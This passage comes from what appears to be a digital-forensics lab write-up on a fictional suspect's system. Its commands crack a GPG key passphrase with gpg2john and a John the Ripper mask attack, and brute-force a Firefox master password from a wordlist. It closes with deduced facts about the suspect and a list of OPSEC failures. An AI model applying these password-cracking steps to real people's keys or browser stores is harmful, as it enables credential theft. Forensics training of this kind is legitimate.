[student@host ~]$ gpg2 --import /mnt/home/jim/.gnupg/secring.gpg gpg: key B6524D89: secret key imported gpg: key B6524D89: "pwnicorn <pwnicorn@evil.com>" not changed gpg: Total number processed: 1 gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 [student@host ~]$ gpg2 --list-secret-keys ... sec 2048R/B6524D89 2022-02-07 uid pwnicorn <pwnicorn@evil.com> ssb 2048R/*83A4842F* 2022-02-07
Indeed, it belongs to jim, but we do not know the passphrase for this key. We can use tools like gpg2john to create a crackable hash for the key:
[student@host ~]$ gpg2 -a --export-secret-key pwnicorn > key.asc [student@host ~]$ gpg2john key.asc > gpghash
Unfortunately, it is not crackable using common wordlists. When thinking about other approaches, password reuse could be a possibility. Since firefox was used earlier, we can check for passwords stored by firefox. Indeed, we find that there is a password store, but it is encrypted with a master password. We can try to crack the master password using tools like firefox_decrypt or mozilla2john. This is successful:
[student@host ~]$ parallel 'pw=$(echo {}); echo $pw | python3 firefox_decrypt.py --no-interactive --choice 2 2>&1 >/dev/null | grep "Password:" && echo "pw is "$pw'< /usr/share/wordlists/rockyou.txt Password: 'c!!!@!#!#@&#%^' Password: '!!!@!#!#@&#^&' Password: '!!!@!#!#@&#&~' Password: '0!!!@!#!#@&#~&' Password: '�!!!@!#!#@&#!^' Password: '!!!@!#!#@&#@@' Password: '!!!@!#!#@&#@^' Password: 'U!!!@!#!#@&#&^' Password: '%!!!@!#!#@&#~*' Password: '#!!!@!#!#@&#^!' Password: '_!!!@!#!#@&#@~' Password: ',!!!@!#!#@&#~*' Password: '!!!@!#!#@&#&!' Password: 'P!!!@!#!#@&#~!' Password: 'C!!!@!#!#@&#!&' Password: 'C!!!@!#!#@&#&!' Password: '!!!@!#!#@&#%!' Password: 'B!!!@!#!#@&#*!' Password: '^!!!@!#!#@&#@&' pw is loveyou2
We find several passwords that follow the same pattern: &#[0-9]{2}!!!@!#!#@&^#[!@~*%^&]{2}. None of them works for the gpg key. However, we can assume that also the gpg key password follows the same pattern:
[student@host ~]$ john gpghash --mask='&#?1?1!!!@!#!#@&^#?2?2' -1=[0-9] -2='[!@~*%^&]' ...<SNIP>... ;!!!@!#!#@&^#@* (pwnicorn) ...<SNIP>... Session completed
Now we now the gpg keys password and can decrypt the message:
[student@host ~]$ gpg -d home/jim/Documents/important.gpg # Enter PW customer-id, decryption key, paid 2955369508, usd{74725d3f3d45e5ac68ed}, n ...<SNIP>...
Derivable Information
- From the bought car we know that either the car was bought or sold by the suspect, which can lead to further possibilities to investigate.
- From a shopping cart cookie, it can be deduced that the suspect is of above average height.
- From the deleted Thunderbird sent file we know that the suspect is involved with the hacker group evil and the name of an additional member Leon.
- From a message hidden in a picture, the location of the suspect can be approximated.
- From the boarding pass, we know that the suspect took a flight to Berlin and the full name Jack Hack
- From the deleted wireshark capture evidence can be found that the suspect conducted an attack on a web service.
- From the decrypted file important.gpg it is possible to deduct that the group evil is involved in a ransomware scheme.
OPSEC - Fails
This section contains some OPSEC failures that can be found on the foreign system.
VPN configuration
The VPN configuration file located under ~/.vpn.conf is not configured to send DNS request via the VPN connection, which makes the user vulnerable to various attacks leading to a loss of anonymity.
.zshrc
Because the command of the alias enc is enclosed with ", it will evaluate $(pass symkey) as soon zsh is started. This means the password symkey will be stored as clear text for the duration of the session. A local attacker could read this password without much effort.
Same username for different services
The hacker used the alias pwnic0rn for illegal activities, as well as username for different web services. There are many reasons why this is a bad practice, as could be observed in the case against silkroad.